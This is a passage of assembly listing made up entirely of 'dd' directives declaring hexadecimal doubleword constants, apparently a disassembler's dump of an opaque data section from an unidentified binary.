		dd 6F97F523h, 0F9171E8h, 0F152560Dh, 36C4F9B4h,	881092BDh
		dd 8FDE7Ch, 0DA4B7DACh,	58303304h, 2351FE00h, 1F85931Ah
		dd 8BA7183Eh, 227A31B9h, 4BCD6D0Fh, 815F401Bh, 0BD3730h
		dd 8AA95EEBh, 3C771036h, 0C6171A03h, 14FD1FBEh,	0D0733838h
		dd 417B09Ah, 4D2F80DFh,	55F9C1F8h, 79E05048h, 94415141h
		dd 0CA10B3EDh, 0AA00AB92h, 26E94FD3h, 0FCF3D888h, 0CB95027Ah
		dd 8BA0B663h, 8501A044h, 57AAC9A7h, 99F88925h, 0DA400023h
		dd 1CE6DB0Dh, 0D3004C02h, 5FBCF2F5h, 62316DD6h,	0E3069930h
		dd 819D5C61h, 7903B711h, 73D09F21h, 0FD1801DFh,	5CC54AEEh
		dd 0D8E4705Eh, 0DCCA5D0Ch, 36B488C9h, 0D0E1723Fh, 49550C33h
		dd 419C6D0h, 47EE33F4h,	7AC8D869h, 26B3A301h, 0E7E2111Eh
		dd 4C9FDB20h, 1D00C8CDh, 778E8608h, 0F950C4D5h,	40B10B98h
		dd 0EE18B979h, 0A70D981Ch
		dd 35430C5Dh, 0D0E9F499h, 0C06F75AAh, 0C7F8BDA1h, 0B500ED32h
		dd 3565957Eh, 0A6038Ah,	93DEE5EBh, 8EF9310Ch, 908CF40Dh
		dd 16F490C0h, 5629071Eh, 0C011186Bh, 0C853CE81h, 0B126620Ch
		dd 5889A4h, 27742596h, 7FC0A7EAh, 0B70C3D03h, 0F0483B9Bh
		dd 1FAEE8Fh, 9EB7933h, 4D5CEC70h, 0F7E8FCB0h, 553D1E07h
		dd 0E2911971h, 1424B201h, 2E210008h, 0B0A26473h, 923A7D74h
		dd 2109339Fh, 972EF072h, 95B4005Eh, 7A78E503h, 0E8F0B556h
		dd 8B807554h, 80E66F38h, 0D488C0A0h, 5049C8FBh,	529FC4C2h
		dd 32CF03Dh, 0C31E4060h, 5001DF8Ch, 0C079E428h,	0D851FB7Eh
		dd 8801BCFCh, 1A398063h, 4118B7F4h, 39D5E49Ch, 0F580EF6Ah
		dd 7B292EA3h, 68C82178h, 656E8E74h, 89483092h, 883749C6h
		dd 0A1702177h, 70A415E9h, 71FB0022h, 3DB0C27Ch,	0CA58B450h
		dd 85F4483Fh, 0A861F056h, 9463D2B4h, 0A5D56202h, 2CE05D25h
		dd 4A80A745h, 89EA0058h, 4D8C42A3h, 4F038077h, 569DB7Eh
		dd 0B429D0F3h, 0AD510A3Eh, 80F4BFA8h, 445FD276h, 783A3F1Ch
		dd 5CC0A4D5h, 70601844h, 0E81075EEh, 0CFC85ADAh, 0EE789480h
		dd 485689B5h, 0CE80A897h, 0E371D264h, 8104344Dh, 0FB06D807h
		dd 0CA26CC50h, 0C6991221h, 96B420B1h, 2003F54Dh, 29E79FDBh
		dd 9CCFC019h, 5EE038DEh, 22F8E524h, 0F6FF3E18h,	0BBCCF39h
		dd 816AB91Ch, 11B708F7h, 4D1834C8h, 0E0FD1B0Ah,	7692C038h
		dd 0BEC83C43h, 77490068h, 0D3043ABDh, 7B03A055h, 5A8C1814h
		dd 2F29D0C0h, 0A6E009F0h, 6490D2B7h, 30A4217Bh,	3E9E08C4h
		dd 37D24C8h, 0D5F611DFh, 40FCBEFAh, 947BBAA5h, 1268E632h
		dd 3A29383Ah, 0B66C1094h, 0E4B585C1h, 88F7DC80h, 6D2EBE72h
		dd 0F4427811h, 2668E88Eh, 0A0603F7h, 0D449DF7Ch, 69C15BB8h
		dd 0E36A7114h, 91316081h, 0C38867h, 8D8F1D74h, 53D26D89h
		dd 5CE951C4h, 1C7BF0C0h, 0D1112E1Dh, 0BF630362h, 99036239h
		dd 3113196Eh, 8E7DA1ACh, 7E2EADE0h, 203D01F0h, 27283391h
		dd 1D6C7203h, 207A85h, 81F00EA0h, 2DBFEA5h, 0A7F62700h
		dd 0F4520624h, 0C4B741E2h, 0B1C4BC11h, 4A4F155h, 0B0DA0465h
		dd 90A9646Fh, 12EAAAC4h, 801C9858h, 7D09B5A7h, 0EB0C00FEh
		dd 0CE741E2Eh, 4000CC7Ch, 0DEE6E0F6h, 14B13AE8h, 0C8188EDCh
		dd 3D8C61BCh, 36928DF2h, 1B00536Ah, 18C1210Ah, 66CCC0D0h
		dd 227EA503h, 461C44Ch,	21C8EA29h, 0D89086CDh, 9D9EF710h
		dd 53282200h, 23E76D8Dh, 62455B00h, 0E0647ABFh,	56820541h
		dd 1830D40Ch, 772158AAh, 0EFC36E18h, 3177AB8h, 5A73238Fh
		dd 21C0BE8Bh, 0E11E381Dh, 7B01C619h, 835899FAh,	3BC24880h
		dd 71661774h, 15632905h, 1820168Ah, 63209F5h, 8126A601h
		dd 400FC1B9h, 85E06687h, 18C0BCD6h, 7D403DAh, 0C247CAE8h
		dd 4FD9116Fh, 3060DA44h, 0E3032FE6h, 0E81899D0h, 0A5CB07Fh
		dd 24D7779Eh, 314CC32Bh, 104FDBB9h, 286C77F6h, 449C254Bh
		dd 0E605026Eh, 0FD5DFFCCh, 0E31DD440h, 24EE5C90h, 11306D77h
		dd 5F49000Ch, 0C9309728h, 0F07A0C0Dh, 0BF491975h, 32A75102h
		dd 0C09778EBh, 0A7F6B88h, 0B4847112h, 13BC80E0h, 0A3A9EB5Fh
		dd 0AFF57C00h, 5EDA87B9h, 0E6F610h, 0A8690607h,	6D9F8E08h
		dd 3544DB00h, 6A37BC70h, 2080B878h, 500A745h, 8288946Eh
		dd 0BCDCAFh, 0B239317Bh, 1A249C5Ch, 77BA2E00h, 4E4D5F7Dh
		dd 6866003Bh, 0A1E9FB70h, 0A805D055h, 72FE952Dh, 50A46D84h
		dd 8B4698F4h, 634ED084h, 395D00A9h, 90963C04h, 6F01EEB1h
		dd 91B9B8F9h, 80E0F079h, 0A1070267h, 61D39E45h,	0C0009CC5h
		dd 0B885CA10h, 0ABD40CB1h, 0F1807397h, 691E8F76h, 885D08C8h
		dd 0AD3FE001h, 3C30D56Ah, 0D02C0020h, 0D42A9E39h, 2901D66Eh
		dd 0FA6F0962h, 0E3E06B75h, 70200065h, 21351077h, 0C37D3C6h
		dd 0E51079F0h, 0AC5F58h, 0A5A33DE7h, 2FA4BC7Ah,	1A33D200h
		dd 1E08F14Bh, 0CA4E0063h, 31205006h, 0D201F7FDh, 0B9F8FAECh
		dd 7BF14FC4h, 0D31D9440h, 1C3A01A0h, 37835638h,	8A7FE0D2h
		dd 0E967F41Dh, 61A560CCh, 61410046h, 11CC4F3Ah,	0F960D19Ah
		dd 0A424A018h, 0ABC10323h, 9520302Ch, 0F51A5AA8h, 0A0D4A818h
		dd 0F476B940h, 4A91FC6Fh, 1D48E86Eh, 0BC4335DEh, 0E9A99FEh
		dd 4ACF3E29h, 0E24194A0h, 44006555h, 0F593BCE0h, 28AF8BAh
		dd 0FD049521h, 3E0ACAAh, 281EB127h, 4B803E6Dh, 1DAB89C4h
		dd 71F30053h, 81FC78DFh, 8400585Dh, 3F0B1C33h, 88A2A7h
		dd 0FEBF6F20h, 78250D38h, 42E1D714h, 320E018Ch,	3C6D8F10h
		dd 12A4E08Ah, 383500F7h, 9802F26Ah, 7E56700h, 1DCF8733h
		dd 23C200B7h, 0D79AFF6Ch, 0B100303Eh, 342BE3A0h, 1EA78266h
		dd 0C33F98ADh, 0CC9D53A4h, 0F6058EF8h, 11330400h, 2EF71332h
		dd 2D6300FFh, 0B35E76A3h, 74003FE6h, 8C6FA621h,	19865DDh
		dd 66EDD091h, 0C175EA83h, 0D6C7DC63h, 614C0100h, 0F7569703h
		dd 587A7804h, 4F3E8060h, 78113200h, 0D7D0D818h,	25ED6E0Ch
		dd 37A1831h, 0C8F997CFh, 40F0FBEFh, 0B0F86E21h,	0E8174F0Ch
		dd 79A41A5h, 505C7A6Fh,	0E304A1F0h, 0F2088CE4h,	7C2049h
		dd 0FD4A7827h, 1C684C9Dh, 0C89CC00h, 0C0EC6AC1h, 443C3A58h
		dd 6B47E28Ch, 0B8317478h, 6D65A830h, 0A0C00FE5h, 0C2801CC6h
		dd 0CD9D87D9h, 8ACB202Bh, 5D0C6861h, 71D5D7F8h,	63270124h
		dd 2C068FDCh, 0C84AEC85h, 708C6400h, 0F2BF47A3h, 0BCF900CAh
		dd 932650ADh, 618ABB88h, 0F6E9DEF2h, 1D4D86F8h,	1887F5EAh
		dd 2FAA21FDh, 28DBE558h, 0E300385Eh, 0A11F1475h, 80E7E2h
		dd 570EB210h, 0D6517D3Ch, 1CF7831Eh, 0C2BC07C0h, 3F34F16Ch
		dd 0FC80F568h, 0BEB6E2E7h, 8F61B56Fh, 63744151h, 404C8442h
		dd 0E6D8659h, 892AA54h,	2DD68A60h, 2C002706h, 83D8464Bh
		dd 28EF690Bh, 3BD0200Ah, 3A7EAC7Ah, 0AA86B743h,	8ADCE91h
		dd 0F00B084h, 46C441FEh, 7D112A18h, 70316789h, 350500E0h
		dd 0B900D115h, 405B2FCFh, 1682B69h, 81604B4Dh, 84447ADDh
		dd 62F64978h, 0E81E2087h, 161FD9h, 0C8E308F9h, 3560EAA7h
		dd 15BF3258h, 74704Bh, 0D3C31B0Fh, 0BA51D7E4h, 38079602h
		dd 42163B67h, 4035625Ch, 0A7B9410Eh, 2760820h, 20ED49CEh
		dd 0CAF03D74h, 0AB52070Dh, 0F7D1F2EEh, 0BA14D0C9h, 16001791h
		dd 1AC78A08h, 4ED8C66h,	0B9F0C0C6h, 886C8E3Eh, 403FC080h
		dd 6B092B2Eh, 2194D0Bh,	855A9267h, 9CC63EFCh, 0D76118C0h
		dd 0B16339D2h, 554DC600h, 0CFAC7805h, 0B0A400D4h, 50EDD337h
		dd 9097EB4h, 18894127h,	2DF0B4Ch, 5F5DF618h, 0C324EB25h
		dd 0E5F1AC40h, 6D0327CCh, 0DAB68F69h, 0C33EA01Ch, 0CD3490Ah
		dd 0BB11D600h, 4F5EFAB5h, 0FCF84700h, 0C30B2458h, 0D3ED0033h
		dd 0ECB09D38h, 0E8E43089h, 25E12E09h, 871C2544h, 0FD4E981Dh
		dd 0E4031260h, 0D53EB442h, 66E75400h, 0F5CF9E1h, 0F2166CEAh
		dd 89B0E8CAh, 2F82BA7Bh, 0F8403FB0h, 5E145C4Ch,	0BCBCB1AFh
		dd 0CE008CC9h, 7FD6DD2Eh, 52F301Ah, 0D0756668h,	0FCB84033h
		dd 3CB6E115h, 6795DB00h, 1F276085h, 0A14E0324h,	0E64336D2h
		dd 90A8E17Ah, 5600989Fh, 79B21554h, 46BA0BCh, 5976264Ch
		dd 9D98C8CEh, 2716C302h, 90BA7797h, 13DE5DD0h, 624DE95Ah
		dd 402FD71Ch, 7690E5F3h, 8B080278h, 0FFFA1614h,	43A59084h
		dd 0F089621Ch, 14A364h,	61D7D25Ah, 7E3D1005h, 0FC63B806h
		dd 3FE104D1h, 17804552h
		dd 6A857CF9h, 8474A7BFh, 0F2218EFFh, 0B4F46092h, 1364A882h
		dd 443625E2h, 0D06274ECh, 3EAA1330h, 8FE7A400h,	512F1A7Dh
		dd 0A9000BEh, 6F89E669h, 50C25A86h, 0A0ED6232h,	0FBBA3A94h
		dd 0C12C0034h, 96713187h, 0FA70B04Dh, 18D8E309h, 8F141AF2h
		dd 609EA8ACh, 50137818h, 91A4A821h, 0FC2300BFh,	3C6E2878h
		dd 86B53E97h, 7433BD81h, 0D8875EBBh, 544210Eh, 0C4BA0060h
		dd 3FFE30DEh, 19C608F2h, 0F0710EEDh, 58FA1464h,	36B8A062h
		dd 0EDA9158Ch, 0EC052449h, 4F1FD66h, 0C46B0FD8h, 26D40085h
		dd 3AA897A7h, 4B665500h, 4A83DBD4h, 0E633EC20h,	0EA35001Bh
		dd 0E6493B17h, 0D7069DA8h, 149FB12Bh, 56EF0C40h, 0F958F4EBh
		dd 0C33A7E00h, 5C9B7283h, 69F139CBh, 0FC89F04Dh, 49B60F87h
		dd 4E9AF0B0h, 0E101E498h, 0AEAC4B08h, 80E4E2D2h, 0F67F0052h
		dd 13056FA4h, 23526906h, 41C60128h, 0A40CB697h,	0FC92660Ch
		dd 4B3AE300h, 6D773FCAh, 0E0F5079Dh, 34BEBD44h,	83FC5D31h
		dd 3341E278h, 6C5900EAh, 90D5A581h, 0E607281Eh,	13AA2657h
		dd 8C90CA44h, 0C7F437h,	1FBD8D6Ch, 8AAF4167h, 0B1C9CD00h
		dd 0EBA86EF6h, 65A10609h, 70EABF68h, 74D7372Eh,	0C6C41826h
		dd 4A2B841Eh, 61E897E0h, 603079A1h, 0C60EEF4Ch,	721608h
		dd 0EEF0139Dh, 905CB325h, 29181485h, 19B1B120h,	0F0183619h
		dd 31FCE06Dh, 0D0362252h, 4338243Eh, 2CE7CD3Dh,	56844C04h
		dd 2B01E445h, 8665B469h, 0AAE7E988h, 55900751h,	40F002C3h
		dd 789ACE2h, 0C928A390h, 0CA018C20h, 8D3269DDh,	0D4514155h
		dd 0EECD6DB2h, 0A2852082h, 0FCEAE269h, 0BEF40848h, 203DA930h
		dd 416DA59Dh, 0B8946055h, 0DE12048Ch, 6225F601h, 0F0AB20C3h
		dd 0F21D9EE5h, 56DF6D18h, 0CFBE2547h, 2DC27A70h, 9D2CA0DCh
		dd 0C04575C5h, 3941F510h, 1A009E72h, 0F14D1787h, 76BAE1B1h
		dd 1B7E0052h, 919BF01Dh, 97E494EAh, 1066500h, 1A80FFF5h
		dd 1FE422h, 96732B92h, 56A2C9E4h, 5ADD8E00h, 2411BACBh
		dd 0F6490ACh, 0B15D63B7h, 4725EA83h, 41E062C3h,	0C41629B0h
		dd 0B807ECF9h, 320C60Ah, 36841Bh, 74861997h, 23FEDACAh
		dd 0E21721F2h, 0A5004CF3h, 6D3F1624h, 94D500D4h, 0C347B944h
		dd 0D4E38470h, 0E21C5080h, 1D00E53Ah, 0F765BFACh, 57A7068Ah
		dd 1873EBBCh, 80568C38h, 0A3E8276Ch, 48B91C53h,	0D91FCC9Ah
		dd 4D1E0002h, 3BA22BADh, 8F03D0F0h, 17BF2AA7h, 6FE7809Fh
		dd 7349016Bh, 5191D1D8h, 6C80EB8Eh, 7007D3C7h, 0CDED1C50h
		dd 42E88C30h, 0C5B45056h, 4CAD48E6h, 0A034B503h, 0DAC14603h
		dd 63D0F0A3h, 0A5DE211Fh, 0F8F957DEh, 6ACD7600h, 0F85B69ECh
		dd 9F28C0C2h, 6B62095Ch, 3EF01C70h, 0CDFA63Eh, 0D803AAACh
		dd 44CE1E8h, 2DD203EEh,	74D86589h, 3987D808h, 401B1D8Fh
		dd 0C8185845h, 0E63AE779h, 0F74200DEh, 1DBE8E23h, 0C16A1DB9h
		dd 0EE02C3E4h, 8D90739Ah, 0B300A98Fh, 0DFA3F24Dh, 2F3E31Ch
		dd 0E05FC485h, 28815B23h, 0B8DA685Eh, 0E1C05019h, 30027F88h
		dd 0F4A9DEE2h, 60AC47EAh, 54E62B01h, 0CD1BD363h, 0CCA0A888h
		dd 0B0F3D000h, 0A0E05E75h, 29A490h, 988F2C0Ch, 63E615A9h
		dd 7E79FE61h, 7C4C8CD9h, 87F5481h, 0AC3CA0FCh, 316A48BCh
		dd 8450C63Eh, 9A0C84FEh, 40CB6803h, 14237BC1h, 48102E5Bh
		dd 5FC35108h, 309AD270h, 5348D5CAh, 3B602386h, 0DB2FA239h
		dd 0F6F0E403h, 0E3E60365h, 0C551F819h, 0C30684Ch, 313A4657h
		dd 0AF4200ADh, 92E5E68Eh, 0FF624D1Ah, 807193A1h, 0FCA5411Ch
		dd 0E6EA1A1Bh, 940042ABh, 14256923h, 9B117760h,	1B86801h
		dd 0D64E473Fh, 468FB9D4h, 0D9149084h, 0EF4E2A1h, 5D1ED81Ah
		dd 18940CFh, 615F1BC1h,	0AD7A0840h, 4FD63978h, 55BB5B01h
		dd 44642567h, 7DDC0434h, 78E6001Ch, 0DEA9087h, 2C8380A7h
		dd 8478BAD9h, 0A2615E5Dh, 0F57D9C90h, 2C4A18B8h, 0BA2520BCh
		dd 966AA1C0h, 4840418Eh, 0D01DBCC9h, 84815452h,	0C7F5130Eh
		dd 0C4044B80h, 0F7005EE6h, 5C1ED585h, 326A596Fh, 0BD602FD8h
		dd 660D40BEh, 686C2C41h, 80FF400Ch, 49302989h, 0B7DD19CEh
		dd 0F4020FCDh, 392688Ch, 0A0D4D964h, 54AA212Ah,	0CD50EA70h
		dd 5031D49Ah, 67B6208Eh, 0E3B0D0BFh, 0BE55AC41h, 0C198E679h
		dd 619C5B3Fh, 9A63F4B0h, 103466F1h, 0C1C507Ah, 6D682206h
		dd 0ED8E0CF5h, 42D301FEh, 0A33F001Ah, 4CE2F0B1h, 390F30FFh
		dd 0DB89ED9Fh, 686C8820h, 0F4031597h, 0DD8DD7Ch, 6A08182Bh
		dd 0D0192095h, 0E1049403h, 0EE9B79F9h, 0BC3A0039h, 493EAC51h
		dd 0DA0C8E1Bh, 802A2E63h, 813C12D0h, 600C09E8h,	3E206CACh
		dd 13B86B69h, 0AB2ED800h, 0C21BF8EDh, 9163A010h, 0CA6287E0h
		dd 9A3AE375h, 219330C8h, 9E2ADBh, 0DE14D29Ch, 5B67A94Dh
		dd 8D1C6400h, 69D31D6Ch, 0A2C42627h, 0DDA301F8h, 33D4477h
		dd 5231C1C7h, 1584BF0h,	84A98E73h, 203CCEE3h, 0EA0041C4h
		dd 0AD6C132Bh, 0CD2738h, 3B820146h, 9D9A6431h, 84801C00h
		dd 2B04A095h, 532D00F3h, 45D1B28Ah, 0BE00E7A6h,	0FF9F8D5Eh
		dd 0F68E4Dh, 31D2187Ch,	0DF75E3AFh, 1A53B600h, 696380C3h
		dd 6F7D3C55h, 16C85700h, 855D8AF1h, 24E80D0Fh, 43348066h
		dd 9B18ABh, 0FD9E54CDh,	2A901E35h, 0A5F7CE00h, 0ECFBB681h
		dd 55740385h, 0D22EEAC0h, 1CBD6900h, 0EB83231Fh, 611300E3h
		dd 415DC740h, 0C201B145h, 0BD1CCABAh, 5CD49408h, 51F500F6h
		dd 72344880h, 15307B90h, 0F9DA38EDh, 0C9E8F8h, 8D58E595h
		dd 4971B6DCh, 2A2C8198h, 750C4C19h, 37466041h, 9098E906h
		dd 0DC28938Dh, 71D50F0Eh, 0C837C1F5h, 0C0805033h, 0B8C98366h
		dd 3C2E0D44h, 0B60184A0h, 0B7BBEFF6h, 18FC5FD0h, 0D0721CB3h
		dd 0F2E7154h, 0DB009D99h, 0E108EC21h, 9D3C1DFEh, 0E2A840DCh
		dd 0B141C1A6h, 9A0D7A03h, 0B0A09CECh, 2B19A573h, 71047436h
		dd 449A14Dh, 0E17B78E3h, 4A001009h, 7210629Ah, 0E5009B7Dh
		dd 5F0BA248h, 27E8A319h, 5239A466h, 67891E08h, 3E132E63h
		dd 0F8D02054h, 0C3B00F37h, 266EA250h, 0C6D10A6Ch, 50947241h
		dd 85141848h, 34414C7Bh, 280C79A0h, 6C1C74FAh, 231071DFh
		dd 505D8D2Bh, 54BEA021h, 251A760h, 7B041808h, 490CC0F8h
		dd 81258BA2h, 0DAC9CCD3h, 1CA6A609h, 6E242703h,	0A2204D70h
		dd 30CA508h, 4C2A141Fh,	0F380CD64h, 58508A77h, 0EE60238Bh
		dd 5AF3693Ah, 90F10A51h, 705DABh, 3AD7E858h, 74E654F2h
		dd 3B9B0F14h, 40BB9FCh,	0FDF207EBh, 0FC17576h, 198072EBh
		dd 0E52B1896h, 55075EA1h, 27F8311Ah, 8343C0F2h,	0A8FBF220h
		dd 3490BF63h, 0BE194EDFh, 38B8310Ch, 858DF74h, 6877EEDh
		dd 48BCBFA4h, 0DEFF0010h, 70305DBAh, 717445BDh,	61EBC530h
		dd 24C29F01h, 80988D36h, 8127BA03h, 500C7453h, 69C9AF4Ch
		dd 0F2DE30CBh, 0D1C12E49h, 1103EBF0h, 0D444DDF3h, 0B947AF7Bh
		dd 2176540h, 0A73A0786h, 2375485Dh, 0F903C627h,	8DA2B1B4h
		dd 930FA19Dh, 0A1F41081h, 212456EDh, 0DA489B5Bh, 31980009h
		dd 0B25ECFB8h, 0C800157Ch, 2A1852C6h, 0E598C2h,	0DF09399Eh
		dd 555D865Fh, 92777C00h, 975ACD82h, 0A0D9C01Bh,	0F5DCF4A1h
		dd 0A2778CA8h, 0E88F5C30h, 75A8FC62h, 0FD2E0929h, 0E4208CDFh
		dd 8E220C39h, 219B5E0Fh, 0E85A0104h, 10EFFBFAh,	2272F28h
		dd 0F6F96087h, 0F3C0A076h, 7B288Ch, 0C9B5D688h,	72DF5B3Ah
		dd 96274700h, 0FC98E581h
		dd 1D78A3F6h, 3320E1h, 0CEECF586h, 3A7F808Bh, 5D00D7EEh
		dd 0D9AF6503h, 7505C4F7h, 218C6FDCh, 3B28ECAh, 5B272BDEh
		dd 0A8CFA028h, 4658AC80h, 51C7ED12h, 2CDEF800h,	35D198h
		dd 8896D99Dh, 0DC7F4E5Dh, 57A35220h, 0B040A848h, 0EB841EF8h
		dd 98B1702h, 14A2FA50h,	882071EDh, 0E42DE993h, 0B8195769h
		dd 0C4FA3D08h, 0E840DA44h, 2E751218h, 0F0631A0Fh, 9640FC38h
		dd 74FDEAE3h, 0E46F0017h, 127BDF46h, 0D4374E0Fh, 0A64079CBh
		dd 9081954Bh, 0CDFD017Ch, 0C8C09A1Dh, 0CA7BF047h, 6FBFC20Fh
		dd 23061FA3h, 1ED87009h, 0C059DA45h, 2A66417Fh,	52703DB6h
		dd 5072FE24h, 670203Eh,	6C10718Dh, 4304C863h, 0AAB0DC7Ch
		dd 0F25DC4D1h, 8CB853h,	0F5A7FA91h, 93F17FAAh, 0D800A4AAh
		dd 15CA877Ch, 964871E8h, 0E0F9A144h, 41E58C40h,	0A48C41F8h
		dd 0F01C0C81h, 980EB752h, 27366020h, 24B3F6FDh,	0C730A42Eh
		dd 9259EC11h, 0A32688A0h, 4C84D2E7h, 9BDC04F4h,	181C059h
		dd 1DAD627h, 207CE37Fh,	4B032EF0h, 0A45EA719h, 0E0F5B141h
		dd 4A4010F3h, 0BCA500A0h, 98B93B49h, 0B15863DAh, 692259F3h
		dd 14A50554h, 8831E848h, 750FB860h, 155ED686h, 0DE270358h
		dd 0AA988D49h, 9948909Ah, 26B528BAh, 79CE00F0h,	0BF740219h
		dd 38003345h, 0C8AF54B8h, 0A71A26h, 998DA563h, 837ED689h
		dd 0D401B890h, 46EB79D9h, 77F18AE4h, 80019450h,	25411ABAh
		dd 348571C9h, 9AB0042Fh, 0A4922327h, 88B09708h,	547EA29Eh
		dd 0F868B077h, 0FAFE95h, 0C445CE21h, 0C8EA2C0Ch, 4AA63401h
		dd 0A4FFE24Bh, 88EC0C20h, 7D78B965h, 268C2252h,	2E0290DFh
		dd 0BC4FE8Dh, 8864E601h, 0BE1C615Fh, 0FA160339h, 0C0A79027h
		dd 0CF0551CEh, 0ACA09A78h, 0DF82E659h, 0C8C1856Ah, 0B4ADBC00h
		dd 78050CA5h, 0ACCF3F86h, 0B728CDCCh, 743D28D0h, 2430EFC8h
		dd 1388095Bh, 37F51DFh,	0A2915E1Fh, 0BDFC9026h,	69550342h
		dd 0DE985F25h, 151A8180h, 80ED9F0Fh, 7ADB4368h,	0D632D859h
		dd 273A00D0h, 9C2484BEh, 0B10012FBh, 4D95C14Eh,	93C02C4h
		dd 5FAAA336h, 3D428081h, 0E8FF40A7h, 81008B58h,	0BBEE7C3Ah
		dd 1FA343C2h, 8A5E21D0h, 814A542h, 10BA8CFCh, 4C08C3DDh
		dd 86085147h, 0DE10B8C0h, 0CBA211F8h, 51278818h, 513B5CD3h
		dd 0DDE41874h, 89D1D029h, 9522C624h, 79A826A5h,	6C6C6930h
		dd 1C72A298h, 6BD19Dh, 644D83E3h, 6CB027D4h, 29003790h
		dd 0BA63B177h, 0FE52142h, 0BBFE8E07h, 47A72D20h, 67007CDCh
		dd 0F08C9D8Bh, 0F4B6B0E4h, 388F00CCh, 0B417E048h, 0FF00D8B2h
		dd 15F991AAh, 0CE34D6h,	218832DEh, 0C607E436h, 1E54B600h
		dd 0DCFAD172h, 43C0067h, 16890831h, 880F1958h, 0F7C7FB7h
		dd 7A6CE039h, 7535AA1Bh, 0BCE01C78h, 0DA7F43A9h, 68EBA334h
		dd 91A0F8EBh, 54010A47h, 38FBEE92h, 0B1CFCD20h,	0C9EC63D9h
		dd 9B3C006Fh, 9ABE5D7h,	43008293h, 0C7A5BEF7h, 70783Ah
		dd 9BF23992h, 882FDACFh, 6BBB261Dh, 29EE4D80h, 0F2D47104h
		dd 0BF640EC0h, 32825Eh,	0C1D1C6B8h, 5203DBBAh, 1C9E3A22h
		dd 6CE9E079h, 0A706502Bh, 1D5733Dh, 0B26EC7FDh,	50B0CF68h
		dd 9B0B0AB4h, 0DEA88D00h, 99E4EC7Fh, 0B0E5504Dh, 0DA5000E0h
		dd 0E9D29515h, 0D07610B6h, 56B1D700h, 1EAFBF4Ch, 9F2FE7Ch
		dd 85A7E78Ch, 48403080h, 0DC07B960h, 9B52FDD4h,	0E0896190h
		dd 0C711CFDFh, 9F8C1760h, 60F05314h, 0E63A207Fh, 933A0174h
		dd 8C33872Eh, 1F7BE824h, 40A2A79Dh, 7FF88C9h, 351D6EE7h
		dd 1BC0FDF2h, 0B4AB24F1h, 0C56D0227h, 9EC72BA7h, 15797140h
		dd 0BD0B5100h, 3AB36980h, 981100A8h, 1E729712h,	0FA00C8B4h
		dd 2895C0FCh, 1E91466h,	87335A55h, 80A20BB2h, 4A32FA80h
		dd 7BF43F8h, 545B5569h,	0C06E95D0h, 815C5C4h, 7AD54C00h
		dd 5CCCF3A6h, 92F6DFh, 3E1C899Fh, 1945A064h, 0BFDCFB00h
		dd 91A88107h, 3FCA009Eh, 3820F6CDh, 0C006E35h, 7BF110EBh
		dd 6D7DD1h, 7E7C501Ah, 0F8F44764h, 1C56923Dh, 6C87D99Fh
		dd 0F9FAAFEh, 8FCE4FA2h, 8F871CFBh, 1BD1B84Ch, 18802605h
		dd 0E206AF4Ah, 5E017F38h, 86DD57CFh, 9DFCFD64h,	4D600050h
		dd 0C2EEB4A6h, 0E10007BDh, 4C641E7Dh, 2715FE6h,	0B87BD9F4h
		dd 0C880DD89h, 0D3A179F7h, 4DC23Eh, 0BEE530C9h,	7B9AA98h
		dd 5585D19Bh, 71D8904Ch, 0E7B0E3B5h, 153DC07Ah,	4DBA0128h
		dd 0DB0FDF6Dh, 48F8EFD0h, 0DE0E56B6h, 10A0CC1Eh, 53D5F916h
		dd 0BCD9090Bh, 46F98037h, 1DC27D13h, 27A2E6h, 4057B4D4h
		dd 8F028E79h, 0D5551B6Ch, 8228C032h, 0ADC307CDh, 50E034B0h
		dd 0FD31B19Eh, 80283F00h, 7CD76225h, 61A0038h, 0BA33F3B3h
		dd 8D00501Dh, 0DFA05BC0h, 0F5178B8h, 1E7F31ABh,	5EDC51Fh
		dd 0DC1892F9h, 89028846h, 8286C449h, 0B2E080D8h, 53BA71h
		dd 7F7B5F3Dh, 0B6880A20h, 440095E2h, 0B58DF510h, 5F4E47h
		dd 803124E1h, 0EEDD7C04h, 0E5AD3000h, 0AFD0BDA8h, 38070055h
		dd 84860B88h, 730094F5h, 0A5BC9E21h, 0B9BB5Ch, 33F66A54h
		dd 0CD6B64E8h, 9743C90Eh, 0B02C2034h, 3ED93BB2h, 0B10039DBh
		dd 7518BE9Ch, 2B00D808h, 65C8928Dh, 3D59429Bh, 2E801A60h
		dd 9E3F19EBh, 67004EEAh, 0D6B2BBCBh, 0BD56CB3h,	9B88B661h
		dd 609EC427h, 0AB402297h, 39826A00h, 87DB6EFBh,	20351F5Ah
		dd 7F6C004Fh, 542413CBh, 80218A3Eh, 6320144h, 0EA9BE335h
		dd 889600A1h, 83610C2Ah, 0E400DFB3h, 1497A848h,	765F3D8h
		dd 0C53C38C8h, 0FCEF001Ah, 9200B560h, 0E910ECADh, 5B837Ah
		dd 0A4AB0DC3h, 0D9CE64ACh, 0C6F591Dh, 350B98EAh, 0EC18DCh
		dd 74B1EB0Ch, 8530007Eh, 4006F487h, 0AB00B80Bh,	14606322h
		dd 11B35h, 6973F009h, 4A7A0634h, 307D47Fh, 0C0BE3C2h, 83DB474Fh
		dd 0F1F2F350h, 1A710FD6h, 0A000FB3Ch, 5E749BE2h, 99CF0D03h
		dd 0C0C125E0h, 0FBA8E4Dh, 711B6909h, 0EF83138Fh, 0C9E08985h
		dd 21005123h, 3D49F53h,	16046Bh, 74DA73E9h, 1C8C29B9h
		dd 10F7F200h, 9564B14h,	39C3002Ch, 9093132Fh, 5098AFA5h
		dd 0DD38B71Dh, 0CD4C5280h, 0EA71A2h, 0AE2BFDA0h, 447842BFh
		dd 48B4CF00h, 410D1AE3h, 9DB10313h, 3120909Ch, 0ACD3E8A0h
		dd 34123B7Bh, 640EDDBFh, 0F61EC08Bh, 489B941h, 0CD1F0590h
		dd 55C0C02Fh, 0E400528Fh, 0E785FB91h, 0D37C3Eh,	94386381h
		dd 1F02C66h, 0C2008798h, 73EEAFB9h, 9DB6D35h, 80763B96h
		dd 729FA4C8h, 0FC994916h, 3C22A207h, 0CA80C049h, 0F8294D92h
		dd 0F5DF4200h, 16903351h, 3272ED00h, 7C22C698h,	92D00CFh
		dd 0CCF0D5B1h, 66B06AA8h, 0E65C4Ch, 4A785FF8h, 7DC9241h
		dd 0B8556C45h, 0B63A1097h, 70000430h, 96F38C16h, 0EDA463h
		dd 0F27B03E0h, 4F7CDF6Bh, 0EA824E07h, 43E1FF61h, 7DE0E674h
		dd 79E5009Eh, 0BA2C3007h, 0E0FDAA2h, 0EEF44246h, 7F45617Eh
		dd 1C34B6D7h, 3120383h,	0FDBBCEAFh, 53B6990h, 9F849700h
